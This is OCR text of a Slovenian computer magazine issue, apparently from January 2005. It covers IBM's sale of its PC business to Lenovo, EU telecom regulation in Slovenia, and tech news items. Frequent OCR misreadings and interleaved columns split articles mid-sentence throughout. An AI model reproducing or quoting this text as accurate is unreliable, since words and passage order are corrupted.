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zacetku decembra se je xgodilo to, kar je nekatere presenetilo, nekateri pa so
napovedovali kot edino logicno — IBM je napovedal umik s podro&ja izdelave
osebnih in prenosnih racunalnikov. Svoj del bo prodal kitajskemu podjetju,
katerega delni lastnik bo postal tudi sam.

Kljub napovedim, da se lahko zgodi kaj podobnega, pa marsikdo nekako ni
mogel verjeti, da bo ravno glavni »krivec« za nastanek osebnega racunalnika eden prvih, ki
se bo iz tega posla umaknil. Nekako tegko je verjeti, da bomo ez nekaj let govorili, da smo
racunalniki delali %e takrat, »ko jih je delal Se IBM«.

Zakaj je veliki modri to storil? Razlag je veliko. Prva govori o tem, da mu to podrocje
dela izgubo, drugo ta, da zaradi svoje toge organizacije ne more biti konkurenéen drugim,
tretja pa, da v ozadju pripravlja nekaj velikega, kar bo obrnilo dogajanje na podro&ju
racunalnitva povsem v drugo smer. Kaj od tega je res?

Zagotowvo seveda (3e) ne vemo, lahko pa se malce poigramo s Spekulacijami. Prvi
razlog, ki smo ga omenili, je, da mu podrocje osebnih racunalnikov dela izgubo. Morda
res. Racunalnik ni ve¢ »strokovna« naprava, temve¢ raxmeroma poceni izdelek Siroke
potrodnje, kjer je proizvajalcev ogromno. In ker je igralcev ogromno, so marge majhne, pri
majhnih marfah pa je treba za dobicek veliko prodati. Ali je IBM prodal veliko? Pravzaprav
ne, &eprav je tretji najvedji proizvajalec osebnih racunalnikov. In zato so nekaj morali
spremeniti. Prva mo$nost bi bila drugacna organiziranost po vzoru Della. Poznavalci IBM-
a vedo, da Cesa takega podjetje %e zaradi soraymerne togosti ni sposobno narediti. Druga
je, da postanejo agresivni s cenami. To bi bilo za nekoga, ki ima tradicijo visoke kakovosti,
nemogoce, saj bi morali prav pri kakovosti sklepati kompromise. Tega si verjetno ne bi
mogli privosciti, saj bi izgubili sliko, ki jo imajo o njem uporabniki. In tretja mo¥nost? Ta je
vse skupaj prodati. In za to so se odlocili. A komu? HP-ju? Dellu? Tema dvema vsekakor
ne e zaradi vtisa, ki bi ga pustili na trgu. To bi pomenilo neposreden poraz in predajo
nasprotniku. Prodati je treba nekomu »od zunaj« in Lenowo je bil o&itno tisti pravi.

Do tu so stvari pravzaprav logiéne in gredo po napovedih andlitikov. A vse skupaj ima
malce cuden priokus. Je res nedobickonosnost edini razlog? Je lahko nekdo, ki je pred
dobrimi dvajsetimi leti »izumil« trg osebnih racunalnikov in ki ima na njem tako velik imid¥,
res prui, ki bo vrgel pusko v koruzo? Nekako tegko verjamem. Je preusmeritev na storitve
in programsko opremo res prava? IBM je vedno imel tefavo s prodajo programske opreme
in dolgo ni doumel njenega pravega pomena. Zdaj pa kar naenkrat obrat v programje? Ne
verjamem. Kaj je torej za tem?

Ena od mo#nih in tudi verjetnih razlag je, da se bo IBM pomeril na podrocju, kjer se ga
zadnje Ease ne omenja prav pogosto. To je podrocje procesorjev. Ce malce pogledamo, kaj se
dogaja na trgu, ugotovimo, da zadeva, vkljucno s prodajo PC-oddelka, vsebuje neko logiko.
IBM %e kar nekaj casa razvija svoj procesor Power 5. Z mjim sicer verjetno ne bo preprical
HP-ja in Della, lahko pa prepri¢a Linuxovce. Zanje Intel ni nekaj, kar je zapovedano. Pri
tem ne mislim le na stregnike, kjer je %e zdaj, in tudi ne na superracunalnike, temve¢ tudi
na delovne postaje, uporabno elektroniko in tudi mobilne naprave. Je kaj na tem? Je kakina
povezava? S Kitajsko, na primer? IBM je objavil svoj Power.org prav na Kitajskem, kjer
se trudijo nekako »zaobiti« Windows in Intel. Kupec PC-oddelka je kitajsko podjetje. Je
mogole, da bodo Power 5 in njegovi nasledniki postal nov standard na Kitajskem, nato pa
sirSe? Hmmm ...

Dodajmo k temu Se dejstvo, da Apple Ze dogo uporablja to vejedrno arhitekturo, da
procesorje Cell uporabljajo Sony, Toshiba, pa tudi Microsoft za svoje igralske izdelke. To
niso ve¢ majhni igralci. In ker Intel s 64-bitno arhitekturo %e dolgo menca, je vsekakor
mogoCe, da IBM stavi prav na to. Pravzaprav so to med vrsticami tudi povedali prav na
otvoritvi Power.org, kjer je bilo receno, da svet potrebuje arhitekturo, ki bo uporabna v
cenenih napravah, ki bodo porabile malo energije, kot na primer mobilni telefoni, in tudi v
delovnih postajah, stre¥nikih in superracunalnikih.

Ce je to vse res, potem IBM-ova opustitev PC-programa ne pomeni razloga za veselje
konkurence. Prav nasprotno — pomeni razlog za skrb. A to je le $pekulacija.
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Steganografija - skrivanje sporo¢il

IGRAJMO SE SKRIVALNICE

Steganografija ni nov pojem. O njej se je v javnosti
govorilo Ze pred skoraj desetimi leti. In kaj je to?
Steganografija ni ni¢ drugega kot metoda skrivanja
sporocil v druge dokumente. Te datoteke so obicajne
fotografije, zvoCne datoteke, besedilne datoteke in Se
kaj. Steganografija pa ni omejena le na racunalniski
svet. Njeni zacetki namreC segajo dalec v zgodovino.
/nane so legendarne stvari, kot je na primer tista, ko
je neki rimski vojskovodja kurirju obril glavo, na kozo
vtetoviral skrivno sporocilo, pocakal, da so mu lasje
zrasliin ga odposlal na nalogo. Stvar je delovala toliko
Casa, dokler tega niso izvedeli njegovi nasprotniki in so
vsem ujetim kurirjem zaceli briti glave. Veliko pozneje so
se pojavile Se druge metode. Kdo Se ni slisal za skrivna
sporocila, napisana s nevidnim ¢rnilom? Se kot otroc
smo pisali sporocila, napisana z limoninim sokom ...

36

GOOGLOV NAMIZNI ISKALNIK

V prejSnii Stevilki smo vam predstavili orodje za iskanje
po dokumentih v lokalnem racunalniku  Google
Desktop Search (GDS). Google tako prinasa na namizje
funkcijo, ki smo jo vsaj ¢lani uredniStva Mojega mikra
pogresali in potrebovali Ze precej ¢asa, saj iskalnik v
Windows ni vreden kaj prida. Ker se nam zdi GDS ena
izmed uporabnejSih aplikacij v naSem racunalniku,
hkrati pa smo odkrili nekaj pomanjkljivosti, smo poiskali
nacine, kako funkcionalnost programa razsiriti oziroma
ga prilagoditi nasim Zeljam

Naslovnica:
M.M.
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Kdaj lahko patent zavre razvoj?

24

Patentiranje programske opreme

KDAJ LAHKO PATENT
/AVRE RAZVOJ?

s o Patenti, kakrSne poznamo
danes, so se zacCeli razvijati
v srednjem veku. Tako so
Benetke ob zmanjSevanju
svojega trgovskega

vpliva ugotovile, da bi bilo
smotrno gospodarstvo
spodbujati tudi tako, da bi
privabile izumitelje. Zato
S0 jim zagotovili zacasno
ekskluzivno pravico izdelovanja svojih inovativnih
naprav. Prvi zakon o sodobnih patentih tako datira
v leto 1474, kmalu pa so podoben prijem zaceli
uporabljati tudi v Angliji (1624) in drugod. Zanimivo
je, da patentno varstvo ne izvira iz kake neodtujljive
posameznikove pravice do lastniStva ideje, temveC
ima korenine v koristi druzbe kot celote.

30

NAPSTERJEV OCE
SPET V RINGU

Pred nedavnim je Shawn Fanning, sicer avtor
razvpitega programa Napster, ki je pred leti sprozil
plaz izmenjave datotek prek interneta, predstavil svoj
novi projekt Snocap. Gre za sistem, ki naj bi omogocil
zakonito licenciranje avtorsko zascitenih glasbenih
posnetkov v omrezjih P2P. K sodelovanju je Ze privabil

multinacionalko Universal Music Group, vendar to e ne

pomeni zmage. Mu bo uspelo?

80

Izbira kodeka
KATERI JE PRAVI?

Imamo film in bi ga radi predvajali prek
racunalnika ali DivX-predvajainika. Kako ga
stisniti? Kateri kodek uporabiti? Pravzaprav
eno najpogostejsih vprasanj, ko govorimo o

DivX-predvajalnikih, je, s katerim kodekom naj

bo film stisnjen, da bo slika najbolj$a. Ce boste
vprasali druge lastnike predvajalnikov, ki so se tej
temi malce bolj posvetili, vam bo vsak odgovoril
drugace. Eni bodo rekli DivX 5., drugi DivX 3,
tretji Xvid, Cetrti bodo prisegali na Microsoftov
Windows Media Video. Zakaj takSne razlike? Ali
res ni mogoce preprosto ugotoviti, kateri kodek je
najboljSi in uporabljati samo tega?

TEMA MESECA
NAJ KAR CRKNE TELEVIZOR
(SAJ IMAMO RACUNALNIK)

Racunalnik je multimedijska naprava. Pa je
primeren tudi za gledanje TV-sporeda? Prav
gotovo! No, saj to je Ze dolgo znano, porecete.
Drziin tudi na nasih straneh smo tovrstne
naprave in postopke ze dodobra opisali.
Zanimanja pa je vse vec in Cedalje vec vprasanj
se poraja s tem. Naprave so vse dostopnejsSe
in vse bolj razSirjene. Prav je, da se tej temi
spet posvetimo. Ce ne drugega, bo marsikateri
uporabnik tako dobil lepo zbrane informacije,
kako in kaj.
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Naj kar crkne televizor (saj imamo racunalnik)
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Pred skoraj mesecem dni je Evropska komisija objavila poroilo o stanju in regulaciji evropskih trgov elektronskih
komunikacij za leto 2004 (European Electronic Communications Regulation and Markets 2004). Osnovno porocilo
omenja, da mora Slovenija (poleg Spanije, Francije, Cipra, Litve, Poljske in Slovaske) sprejeti v nekaterih
primerih bistvene podzakonske predpise, da bi osnovna zakonodaja v celoti zaZivela. Na to opozarjajo vsi
alternativni operaterji z olajSanjem, da je to opazila tudi komisija. Pri tem seveda radi spregledajo, da Belgija,
Ceska, Estonija, Gréija in Luksemburg $e niso s smernicami EU-ja uskladili niti osnovne zakonodaje.

Slovenski trg elektronskih komunikacij je od leta 2001 zrasel za 8 odstotkov, preko 50 odstotkov tega obsega
mobilni trg, a kaj, ko vse skupaj znaSa komaj 0,3 odstotka celotnega evropskega trga. Komisija bo raziskala, ali gre
ob zastopanju drzavnega lastniStva v Telekomu Slovenije ob skupScinah predstavnikov ministrstva, ki je hkrati
odgovorno za nadzor neodvisnega regulatorja, za konflikt interesov. Ob tem bo komisija verjetno ugotovila, da
ministrstva za informacijsko druzbo sploh ve¢ nimamo in bo s tem problem odpravljen. Raziskali bodo tudi, ali
je upravicena skrb nekaterih novih operaterjev, da ni politicne volje po regulaciji trga, in tudi tu ugotovili, da se je
politicna volja na zadnjih volitvah spremenila ter bi bilo novi vladi preuranjeno karkoli oCitati.

Ocitek, da je nacionalni regulativni organ (APEK) potreboval precej ¢asa za reSevanije sporov (tako kot v Litvi, na
Svedskem in Poljskem) ter bil pri tem celo omejena ucinkovit (tako kot v Italiji) bo seveda dobrodosel, ob javno Ze
omenjani zamenjavi direktorja Nikolaja Simica, ki nad tem verjetno ne bo presenecen. Prav tako operaterji ne bodo
preseneceni nad ugotovitvijo, da so v Sloveniji zelo dragi klici iz fiksnega v mobilna omrezja. Uporabnikom bodo konkretni
podatki o cenah zakljucevanja zgolj v potrditev dosedanjih domnev, zdajSnjemu ali pa¢ naslednjemu direktorju APEK-
a pa namig, kje bi se morda lahko lotil regulacije »stroskovno naravnanih cen«. Povprecje v 15 ¢lanicah EU-ja je 14,67
evrocenta v vseh 25 pa 14,70 centa na minuto. Govorimo seveda o vseh operaterjih, kajti e bi pogledali zgolj operaterje
s pomembno trzno mocjo, bi bilo to povpredje Se nizie 13,68 centa (15 starih) oziroma 13,73 centa (vseh 25
Clanic). Pa vzemimo najviSje od teh povprecij 14,70 centa na minuto in ga primerjajmo z 21,6 centa na minuto
za zakljucevanje klica v Mobitelovov omreZje (Simobilovo in Western Wirelessovo naj bi stala 21 centa na minuto). Bi
lahko temu rekli ve kot 40-odstotna premija v primerjavi z evropskimi povprecji?

Tudi ocena stroSka polne razveze lokalne zanke kaze, da je ta stroSek v Sloveniji nadpovpre¢no visok (ocena
komisije 21,5 evra na mesec v primerjavi npr. z najdrazjo komfortno narocnino ISDN, ki ne presega 20 evrov na
mesec), dejstvo, da se novi operaterji za sklenitev takih pogodb niso odlogili, pa navdajajo komisijo z obéutkom,
da so pogoji zapisani v referencni ponudbi za povezovanie (reference interconnection offer RIO), in referencni
ponudbi za razvezo lokalne zanke (reference unbundling offer RUO) neprijazni. (t.s.)

PRENOSNIKI POLENIJO SPERMIJE!

Ste zdravi, Sportno aktivni, a vseeno ne morete
zaploditi otroka, ker so vasi spermiji preleni? V neki
raziskavi so priéli do zanimivega sklepa. Ce vsak dan za
nekaj ur »parkirate« svoj prenosni racunalnik v narocju,
se vam kaj takega lahko zgaodi. In razlog. Poveganje
temperature na obéutljivem mestu. MoSka moda so zunaj
telesa zaradi enega samega razloga. Temperatura
znotraj ubije vso voljo spermijem, da bi se podali na
dolgo pot do jajcka. V raziskavi so ugotovili dva razloga
viSjih temperatur: prekrizane noge, kot stabilna podlaga
za namestitev prenosnega racunalnika in samo gretje

prenosnika, ki se najbolj greje
ravno na spodniji strani. Razlika
v temperaturi je lahko do 2,8
stopinje v okolici obCutljivega
dela telesa. To, da temperatura
vpliva na kakovost spermija

in njegovo poskoCnost, ni ni¢
novega, saj je dobro dokumentirano in dokazano. Novo
je to, da je lahko prenosnik kriv za niZjo plodnost. Se
zlasti ker prenosnika v naro¢ju nekateri uporabniki

ne drzijo le ob¢asno, temve¢ vsak dan leta in leta. Ni
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AGENCIJA
KAZE NA NAPAKE

Komentar porocila je podal tudi regulator
(APEK). Najbolj jih mati, da je v poroCilu nekaj po
njihovem mnenju netoénih podatkov. Oziroma se ti
ne skladajo s podatki, ki so jih dali komisiji. Hkrati
S0 predstavili statisticne kazalce (mimogrede,
vecina jih je strogo zaupna, zato jih ne moremo
predstaviti), ki nas uvrs¢ajo v povpregie ali celo med
najuspesnejSe evropske drZave (gre za kazalce, ki
kazejo uspesnost regulacije trga). Je potemtakem
pri nas vse v najlepSem redu, obstaja konkurenca
in na trgu ni ovir, ki bi jih oni lahko odpravili
0ziroma so za to pristojni? Strogo matematicno
gledano je to seveda res (ne dvomimo namre¢
o pravilnosti pokazanih grafikonov), vendar je
polozaj na trgu nekoliko drugacen.

Je torej regulator nesposoben, preve¢
zbirokratiziran ali ni politiéne volje za spremembe,
kot je mo¢ med vrsticami zaslediti v razliénih
medijih. Mi ne mislimo tako. Bolj se nam zdi,
da Agencija ni na tem planetu, temvec nekje
druge. Morda na luni. Manjka jim namre¢
malce samokritike in predvsem realen pogled
na trg. Dejstva so namre¢ drugacna. Na vecini
segmentov telekomunikacijskega trga je polozaj
podoben. Bodisi ga obvlada zgolj eno podjetje ali pa
jih je veC, pri Cemer eden Zivi dobro, drugi pa bolj ali
manj Zivotarijo. Kdo je kriv za to? Slaba regulacija
ali slabe poslovne odlocitve podietij? Gotovo gre
tudi za slednje. Pa to ni bistvo. Vsako pritozbo je
treba preveriti ne glede na uspesnost podjetja,
ki jo je vloZilo. Tako da bo kristalno jasno, da
za slab poloZaj podjetja ni kriva tiha podpora
dominantnim operaterjem, temvec izkljucno
njihove lastne napake. Ce je tako zaradi napacnih
poslovnih modelov ali nesposobnosti krivo
podietje, je to treba dokazati in enkrat za vselej to
tudi javno povedati. Ce je krivica izkljutno na strani
regulatorja, bi veljalo tudi to povedati. Predvsem
pa ne ustvarjati pogojev za vec¢milijardne tozbe!
(m.k.)

Se popolnoma jasno, ali so
ucinki kratkotrajni, in bo
torej naslednja generacija
spermijev ¢ez tri mesece
spet poskoCna, ali obstajajo
tudi dolgorocne posledice.
Pa da ne bo pomote, ne
gre za kaksno napol resno analizo, temvec za resno,
znanstveno podkreplieno. Napovedali so e dodatne
analize, ki bodo tezo podkrepile ali morda ovrgle. Do
takrat pa pazljivo pri uporabi prenosnikov!



GOOGLE USTANAVLJA
KNJIZNICO

Google se bo verjetna lotil kolosalnega projekta, ki bo trajal vec let. Zeli namred
skenirati milijone knjig, ki so v nekaterih najvecjih ameriskih in eni angleski knjiznici
in tako zgraditi njihov spletni ekvivalent. NaCeloma je stvar dogovorjena s petimi
knjiznicami, ki jim je moral Google najprej obljubiti, da skeniranje ne bo poskodovalo
originalov. Ker gre med njimi tudi za redke in dragocene knjige, je previdnost
na mestu. Za Google so zanimive knjige, ki so bile izdane davno pred pojavom
racunalnika in zato ne obstajajo v elektronski obliki. Vseeno pa so knjiznice trenutno
Se zelo previdne. Newyorska knjiznica bo dovolila
skeniranje manjSega Stevila knjig v njihovo lasti,
pa Se to zgolj tiste, katerih avtorske pravice so 7e
potekle. Knjiznica univerze Hardvard bo dala na voljo
40 tiso¢ knjig in se bo nato za nadaljnjo sodelovanje
odlocala glede na pridobliene izku$nje. Radodarnej$a
bo knjiznica univerze v Oxfordu (ta je angleSka), ki bo
dala na voljo vse knijige, izdane pred letom 1901. Vso
Sv0jo zbirko pa sta odprli knjiznici univerz Michigan in
Stanford. V spletu je Ze moc¢ najti nekaj spletnih knjiznic,
veC ali manj z novejSimi knjigami, hkrati pa uporabniki
lahko prek spletnih knjigarn omejeno listamo nekatere

Foto Reuters

nove izdaje. Googlov projekt se od slednjih razlikuje
tako po velikosti kot tudi po tem, da Zeli nato vsebino
vkljugiti v svoj iskalni mehanizem. Gre za ogromno knjig, ki
bi bile tako dostopne vecjemu Stevilu bralcev. Google
pa pri vsej zadevi le ni zgolj dobrotnik, ki S¢iti kulturno
dedis¢ino. Ker Zivi od spletnega oglaSevanja in ker je to
odvisno od Stevila uporabnikov, je jasno, kje so njegovi
poslovni motivi.

ZMOGLJIVEJSE BATERIJE
OXYRIDE

Japonski koncern Matsushita
Electric Industrial bo aprila
2005 poslal natrg ZDAin
Evrope baterijo Oxyride, ki je
1,5-krat mocnejSa kot obicajne alkalne
baterije. Skrivnost baterije je oxyride oz. oksi-nikelj-hidroksid,
ki je pri praizvodniji suhih baterijskih viozkov popolnoma nov
material. Poleg tega je v baterijah uporabljen fini prah grafita in
magnezijevega dioksida, kar omogoca tesnejsi stik med njima
in tako posredno vedjo koli¢ino aktivne mase v bateriji. Zato so
baterije Oxyride tudi bistveno zmogljivejSe od obicajnih baterij,
kar uporabnikom npr. digitalnih fotoaparatov omogoca, da
naredijo dvakrat ve¢ posnetkov. Sodobne elektronske naprave
lahko izrabijo ve€jo mocC baterij Oxyride. To je zelo pomembno
pri porabnikih, ki zahtevajo veliko vrSno moc, npr. predvajalniki
glasbe ob mocnih zvokih ipd. Baterije Oxyride bodo priblizno 10 %
drazje od klasi¢nih. To pa ni ovira, da Ze zdaj na Japonskem med
baterijami velikosti AA pokrivajo 7-odstotni delez. (zm)

NOVA SONCNA BATERIJA

KARIERNA
SMER:
VARNOST

Kot kazejo raziskave analiti¢nih
organizacije, med drugim IDC+a, je
prihodnost roZnata za vse informatike,
ki se nameravajo poklicno razvijati v
smeri informacijske varnosti. Stevilo
strokovnjakov s tega podrocja bo na letni
ravni raslo za 14 odstotkov, kot kazejo
trenutne potrebe. Ni¢ cudnega glede
na trenutne varnostne groznje. Da je
to podrocije resnicno izredno zanimivo
kaZze tudi lokalni primer. Miha Pihler, ki je
zaposlen pri podjetju Atlantis, je postal prvi
slovenski strokovnjak z nazivom MVP (Most
Valuable Professional) za podrocje varnosti
v Microsoftovih okoljih. Strokovnjakov s tem
nazivom je v svetu zgolj 75.

LUCKA
TO MORAM IMETI!

Spet smo nadli izdelek, brez katerega« nikakor
ne more nihce, ki kaj da na nase in hoce biti vedno
v tehnoloSkem vrhu.
Gre za fluorescenten
obesek (na voljo so Stiri
barve), dolg 4,5 cm, ki
ga obesite na kovéek
oziroma vsako stvar, ki
jo lahko zgubite v temi.
Izdelek ne potrebuje
baterij, deloval bo vsaj
deset let in zagotavljal
opaznost do razdalje
15 metrov. In pri
vsem tem stane stvar
preracunano le malce
vec kot tri tisocake.
www.glowrings.com

Japonski znanstveniki so predstavili prototip
energetske celice, ki pretvarja svetlobo v elektriko in jih znotraj
celice shrani za poznejSo uporabo. Neke vrste soncna baterija
ali elektrokemic¢na energetska celica. Prednost nove celice
pred obstoje¢imi silicijevimi celicami je vtem, da slednje za
shranjevanje potrebujejo dodatno napravo (akumulator),
hkrati pa nove veliko bolje delujejo v primerih, ko svetloba
nanje pada pod kotom, vecjim od 40 stopinj.

Celica je sestavljena iz dveh steklenih elektrod
- zgornje in spodnje. Naloga zgornje je absorpcija
fotonov, zato je pod steklom plast polprevodnika (titanov
dioksid) z malimi porami, v katerih so rutenijeve molekule.
Spodnja elektroda je previecena s plastjo platine. Pri
zgornji in spodnji elektrodi sta tudi plasti poroznega
aktivnega ogljika. Zgornja in spodnja elektroda sta loceni

Svetloba

Teklana eethnda [P

Se z vmesno plastjo izolatorja.. Tako nastane nekaj zelo
podobnega kondenzatorju.

Fotone »zbirajo« molekule rutenija, ki so na povrsini
polprevodnika. Ko pade svetloba na povrsino celice,
foton zbije elektron iz omenjene molekule in ta »steCex
v plast polprevodnika in naprej do spodnje elektrode
prek elektricne povezave izven celice, kjer se zbirajo v
plasti ogljika. Pri zgornji elektrodi (okoli ogljika) se tako
koncentrirajo vrzeli, pri spodniji pa elektroni. Preprosto
povedano, tako celica shranjuje energijo.

Prototipna celica proizvaja napetost 0,7 volta. Seveda
to ni dovolj za napajanje naprav. Je pa mogoce celice
podobno kot baterije vezati in tako dobiti pricakovano
napetost. Ce bo el razvoj naprej, bi lahko taksne celice v
praksi videli ¢ez kaksni dve leti.

MOJ MIKRO 1 JANUAR 2005 1




INOVICE

komercialno uporabo. Odgovor je jasen: po letu 2015.
www.siemens.com

HD-DVD
ALI BLU-RAY?

Med podjetjema Toshiba in Sony poteka velika bitka,
v kateri se spopadata dva standarda za naslednika
DVD-ev. Bolj ali manj je jasno, da bo dolgoro¢no zmagal
zgolj eden. Bo to HD-DVD ali Blu-ray? Vsak ima svoje
prednosti in slabosti, a to sploh ni pomembno. Ne gre za
bitko, kdo je boljsi, temve¢ kdo bo zmagal in naslednja
leta pobiral velike denarje na racun licenénin. Tako
eno kot drugo podjetje iSCeta zaveznike. Pred kratkim
je na Sonyjevo stran stopil Disney, ki je napovedal,
da bo svoje bodoce vsebine ponujal na disku Blu-ray.
Podjetje Technicolor, ki je prejsnji mesec z blagovno
znamko Thompson spet pri§lo tudi na nas trg, pa je
napovedalo izdelovanje obeh medijev, a predvajalnike
zgolj za Toshibin HD-DVD. V Sonyjevem taboru je vec
zaveznikov, okoli 70, a gre veCinoma za proizvajalce
naprav. Druga stran pa ima na svoji strani vse vecje
ameriske filmske studie. Kdo bo torej zmagal? Tisti,
ki dela naprave, ali tisti, ki ima vsebine? Bomo videli.
Kakor bomo tudi videli, ali bomo letos ugledali videli
prve komercialne izdelke HD-DVD, kot so napovedali.
Zavmesno obdobje prehoda z DVD-ja na njegovega
naslednika je Toshiba skupaj s podjetiem Memory Tech
predstavila zanimivo reSitev dvojnega diska. Visji sloj je
namenjen zapisu po standardu DVD (4,7 GB), sloj pod
njim pa HD-DVD-ju (15 GB).
WWw.sony.com
www.toshiba.com

BREZZICNIH 1 Gb NA SEKUNDO

Siemensovi znanstveniki so dosegli nov rekord v hitrosti prenosa podatkov prek
brezzitnega omrezja 1 Gb na sekundo. Uporabili so tri antene na oddajni
strani, Stiri na sprejemni ter tehniko OFDM (Orthogonal Freguency Division
Multiplexing). Ta dopu$ca oddajanje veé signalov na eni frekvenci v istem ¢asu brez
interference med njimi. Nekateri tehnologijo imenujejo tudi MIMO - Multiple Input,
Multiple Output. Razbijanje enega signala na ve¢ man;jsih zahteva na sprejemni
strani dokaj zmogljivo opremo, le te zopet zdruzi v logicno celoto. Zato so v ta
namen razvili nov algoritem, ki je omogocal, da je bila naloga izvedljiva z dosegljivimi
racunalniki. Testni sistem je deloval na frekvencnem obmocju 5 GHz in pasovno
Sirino 100 MHz. Logicno vpraSanie je, za kdaj je kaj takega napovedanega tudi za

ORACLE MENJA
ZAVEZNIKE

Ze na zadnjem Oraclovem dogodku v Evropi je
bilo mo¢ zaslediti, da to podjetje nekatere stare
prijatelie zamenjuje z novimi. Se do nedavnega
sta bila najvecja zaveznika HP in Sun, po novem
S0 to podjetja Dell, Red Hat, Novell in Intel. Stvar je
zanimiva za vse uporabnike Oraclovih tehnologij,
saj lahko usmeritev njihovega bodocega razvoja
vpliva na IT-oprema, ki jo boda potrebovali. Ze
dalj Gasa je jasno, da Oracle vse bolj spodbuja
uporabnike, da namesto Unixa in zmogljivega
streznika (domena HP-ja in Suna), uporabljajo
Linux (od tu Red Hat in Novell) in vecje Stevilo
cenejSih streznikov, povezanih v gruce (Dell in HP).

Na prvi pogled ni¢ posebnega. A po drugi strani
je velika vec¢ina Oraclovih uporabnikov pred leti
verjela Oraclu in kupovala drage, a zmogljive
streznike. Zdaj jih to isto podijetje prepricuje,

da naj se preusmerijo na mrezno racunalnistvo
(grid) in naj drage streZnike zamenjajo z vecjim
Stevilom cenejsih. Ce je zamenjava nujna

zaradi zastarelosti opreme, ni s tem ni¢ narobe.
Problem se lahko pojavi, ko in e bo Oraclu
uspelo nekatere prepricati, da morajo kljub vsemu
nadgraditi njihovo tehnologijo, s tem pa tudi strojno
opremo.

Oracle je na svojem svetem ameriSkem dogodku
malce ve¢ povedal o novem izdelku Oracle Business
Intelligence 10g. Ta pokriva podrocje poslovne inteligence
(BI) in vkljuCuje nekatera poslovna analiti¢na orodja,
ki so sestavni del aplikacijskega streznika (AS) ter Se
nekatera novo razvita. Prva bodo Se vedno del AS4a,
vendar jih uporabniki najcenejse razlicice ne bodo mogli
samostojno uporabljati.

www.oracle.com

DISK
ALl
KJUG?

g,
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Enopaléni trdi diski so Ze na voljo tudi v obliki USB-
dodatkov. Tajvansko podijetje BTC je predstavilo izdelke
druzine Z. Mimogrede, vtika¢ za USB-vmesnik je mo¢
zasukati za 90 stopinj, kar do neke mere olaj$a uporabo
zadevice. Vmesnik je pri obeh razli¢icah USB 2.0,
razlikujeta se zgolj po zmogljivosti vdelanega diska. Pri
modelu Z22 je ta 2,2 GB, pri Z40 pa 4 GB.

www.btc.com.tw

Pomnilniskinh kljucev je
na trgu kolikor hoCete, vseh
oblik, zmogljivosti in velikosti.
Protecov USB-klju¢ i-Disk Il pa je
zanimiv, saj bo eden prvih z 8
GB pomnilniskega prostora. To
je dovolj za vse obicajne podatke
in Se za preprost operacijski
sistem. Kaj hocejo s tem povedati?
V prihodnosti bi lahko imeli
javne racunalnike. Uporabnik
bi vanje vtaknil svoj klju¢ in
imel instantni lastni racunalnik.
No, to je Se daljna prihodnost.
V dana3niji eksponentni rasti
koli¢ine digitalnih vsebin je lahko
8 GB celo premalo. Predvsem
pa bo prisel prav v profesionalne
namene za prenos velikih
datotek iz sistema v sistem. Le
profesionalci si ga bodo lahko tudi
privosCili, saj bo stal preracunano
okoli 200 tisoCakov.
www.pretec.com

JADRALCI Z IT-OPREMO
i3

Spet je na sporedu prestizna dirka velikih regatnih
jadrnic okoli sveta, to pot imenovana Global Challenger
2004. Tekmovalci bodo objadrali Zemljo, pot je to
pod dolga 30 tiso¢ morskih milj. V dirki sodeluje 12
jadrnic, vsaka pa je opremljena s satelitsko tehnologijo,
ki jim omogocCa dolo¢anje poloZaja in povezavo do
pomembnih informacij. Vsak ¢lan posadke jadrnice
(18 ¢lanov) ima na voljo digitalni fotoaparat in digitalno
kamero. Na krovu so tudi prenosni radunalniki (izdelki
podijetja Sony) s tehnologijo Centrino. Upajmo, da bodo
imeli jadralci dovolj ¢asa za jadranje in se ne bodo ves$
Cas igrali s tehnoloSkimi igrackami, ki so jim na voljo.
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OPERACIJE NA DALJAVO [GOSTOVANJE NA LETALIH

Bistvo informacijskih
in telekomunikacijskih
tehnologij je
omogocanije globalne
povezljivosti in,
kar je nemara Se
pomembnejSe, ¢im
preprostejSo uporabo
razlicnih storitev. O
internetu v letalih smo
Ze pisali priblizno pred
enim letom. Vodafone je .
zdaj s ponudnikom Connexion (ta je opremil letala Lufthanse) sklenil neke vrste
gostovanje na letalih. To pomeni, da bodo njihovi poslovni narocniki s podatkovnim
paketom uporabo storitev placevali na Vodafonovem racunu in ne posebej s
denarjem ali kreditnimi karticami. Znane so tudi cene. Na dolgih letih (ve¢ kot Sest
ur) bo dostop veljal preracunano 6 tiso¢akov, na letih trajanja med 3 in 6 urami
4 tisoCaka in na krajsi letih 3 tisoCake. Te cene niso na uro, temvec za trajanje
leta. Obstaja tudi tarifa za one, ki bi radi placevali po Casu: 2 tiso¢aka za prvih 30
minut in nato 50 tolarjev za vsako naslednjo minuto. Poceni ravno ni. Preverili smo
tudi pri Simobilu, ali lahko po kakSnem cudezu storitev uporabljajo tudi njihovi
narocniki. Zal (3e) ne. Ker gre za prvo taksno gostovanje, je pricakovati, da bodo
zgledu sledili tudi drugi operaterji mobilne telefonije. Morda tudi nasi?
www.vodafone.com

LINUX STATISTICNO MANJ HROSCAT

Zagovorniki Linuxa Ze dlje ¢asa trdijo, da nacin njegovega razvoja (ko kodo razvija
in preizkuSa mnozica ljudi po vsem svetu) pripomore k boljSi in varnejSi programski
opremi. Kaze, da imajo zdaj za svoje trditve tudi statisticni dokaz. Raziskava je trajala
pet let in rezultati so zgovorni. V Linuxovem jedru 2,6 je 5,7 milijona vrstic kode, nasli
pa so 985 napak (hrosScev). V kriticnem delu jedra so nasli 627 napak, 569 napak je
lahko povzrodilo sesutje sistem, 100 so bile varnostne luknje, 33 pa jih je le vplivalo
na slab3e delovanje sistema Komercialna programska oprema ima tipi¢no od 20
do 30 hroScev na vsakih 1000 vrstic kode (tako vsaj trdijo na univerzi Carnegie Mellon.
Pri omenjenem jedru je povprecje 1,7 hro$ta na 1000 vrstic. Raziskavo so naredili na
univerzi Stanford.

Ceprav verjamemo rezultatom raziskave, nas malce ¢udi tistih 20 do 30 napak v
komercialni programski opremi. Zdi se nam, da so te Stevilke nekoliko previsoka in
zatorej malce dvomimo o tem podatku, saj tudi ne vemo, za kaksno raziskavo je Slo v
tem primeru. Da bomo pravicni, naj tudi omenimo, da ima operacijski sistem Windows
XP 40 milijonov vrstic. Napak je tudi v njem veliko, vendar ne vemo toCno, koliko.
Vsekakor pa ve¢ kot v omenjenem Linuxovem jedru.

KITAJSKI IBM

HP in Dell, trenutno trdno na prestolu
najvecjih proizvajalcev osebnih racunalnikov, §
bosta, kot je zdaj Ze jasno, dobila mocnega
kitajskega tekmeca. Podijetje Lenovo Group
(malokdo med nami ga je doslej poznal) je
od IBM-a delno za denar in delno v obliki
delnic kupilo oddelek za proizvodnjo osebnih
